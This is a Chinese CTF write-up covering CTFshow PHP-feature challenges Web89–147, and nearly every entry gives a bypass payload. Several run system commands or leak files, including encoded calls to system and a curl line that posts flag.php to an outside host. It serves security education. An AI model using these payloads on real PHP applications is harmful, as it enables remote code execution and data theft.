php代码审计前奏之ctfshow之php特性
字数 2555 2025-08-15 21:33:34
CTFshow PHP特性代码审计教学文档
基础概念
PHP代码审计的核心是理解危险函数、过滤不足和特殊特性。本系列题目来自CTFshow平台,通过实战练习掌握PHP代码审计技巧。
Web89 - 数组绕过preg_match
关键点:
preg_match()对数组参数返回false- 使用数组绕过数字检测:
?num[]=1
if(preg_match("/[0-9]/", $num)){ die("no no no!"); }
if(intval($num)){ echo $flag; }
Web90 - intval函数
关键点:
intval()函数进制转换特性- 当base=0时自动检测格式(16进制/8进制/10进制)
- 构造:
?num=4476a
if($num==="4476"){ die("no no no!"); }
if(intval($num,0)===4476){ echo $flag; }
Web91 - /m修饰符和%0a绕过
关键点:
/m多行匹配与单行匹配差异- 使用
%0a换行符绕过:?cmd=php%0ap
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){ die('hacker'); }
else{ echo $flag; }
}
Web92-95 - intval进阶绕过
关键点:
- 十六进制:
0x117c - 八进制:
010574 - 科学计数法:
4476e2 - 空格绕过:
?num= 010574 - 小数点:
?num=4476.0 - 加号:
?num=+4476.0
Web96 - 路径绕过
关键点:
- 绝对路径:
/var/www/html/flag.php - 相对路径:
./flag.php
Web97 - MD5数组绕过
关键点:
- MD5处理数组返回null
- 构造:
a[]=1&b[]=2
Web98 - 三元运算和引用
关键点:
- 三元运算符和变量引用
- 通过POST覆盖GET:
?_POST[key1]=36d&_POST[key2]=36d
Web99 - in_array漏洞
关键点:
in_array()弱类型比较- 构造:
/?n=1.php+ POSTcontent=<?php system('cat flag36d.php');?>
Web100 - 运算符优先级
关键点:
=优先级高于and- 反射类获取flag:
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/
Web101-102 - 反射类进阶
关键点:
- 数组形式调用:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag FilesystemIterator类:?v1=FilesystemIterator&v2=getcwd
Web103-107 - 哈希弱比较
关键点:
- sha1/md5处理数组返回null
- 特殊哈希值:
aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m
Web108 - ereg %00截断
关键点:
ereg()NULL截断漏洞- 构造:
?c=a%00aaaa778
Web109-110 - 异常处理和文件遍历
关键点:
- 通过异常执行命令:
?v1=Exception&v2=system('ls') FilesystemIterator类读取文件
Web111 - 全局变量引用
关键点:
- 通过
GLOBALS引用:?v1=ctfshow&v2=GLOBALS
Web112-114 - 文件包含绕过
关键点:
- 伪协议绕过:
php://filter/resource=flag.phpcompress.zlib://flag.php
/proc/self/root重复路径绕过
Web115 - trim和is_numeric绕过
关键点:
%0c绕过trim检测- 构造:
?num=%0c36
Web123-126 - $_SERVER['argv']利用
关键点:
- 变量名特殊字符绕过
parse_str($a[1])执行代码assert函数利用
Web127 - 变量名fuzz
关键点:
- 空格代替下划线:
?ctf show=ilove36d
Web128 - gettext拓展
关键点:
_()是gettext()别名get_defined_vars()获取所有变量
Web129-131 - 文件包含进阶
关键点:
stripos()位置判断- 路径穿越:
?f=/ctfshow/../var/www/html/flag.php - 正则回溯绕过
Web132-133 - 运算符优先级
关键点:
||和&&优先级- 无回显RCE:
?F=`$F `;curl -X POST -F xx=@flag.php http://xxx
Web134 - POST数组覆盖
关键点:
parse_str和extract组合- 构造:
?_POST[key1]=36d&_POST[key2]=36d
Web135-137 - 命令执行绕过
关键点:
nl、cp、mv替代cat- 反射类调用:
?ctfshow=ctfshow::getFlag
Web138-139 - 盲注技巧
关键点:
- 时间盲注判断文件内容
- 数组回调:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
Web140-146 - 代码执行进阶
关键点:
- 取反绕过:
(~%8C%86%8C%8B%9A%92)(~%93%8C) - 异或运算:
("%13%19%13%14%05%0d"^"%60%60%60%60%60%60") - 三元运算符:
?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5): - 位运算绕过:
|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
Web147 - 动态函数执行
关键点:
- 正则绕过执行函数
- 构造:
ctf=create_function&show=;}system('ls');//
总结
PHP代码审计需要掌握:
- 危险函数特性(如preg_match、intval等)
- 类型转换和比较问题
- 各种绕过技巧(数组、编码、运算符等)
- 特殊类和方法的使用
- 无回显情况下的利用方法
通过系统练习这些题目,可以全面掌握PHP代码审计的核心技能。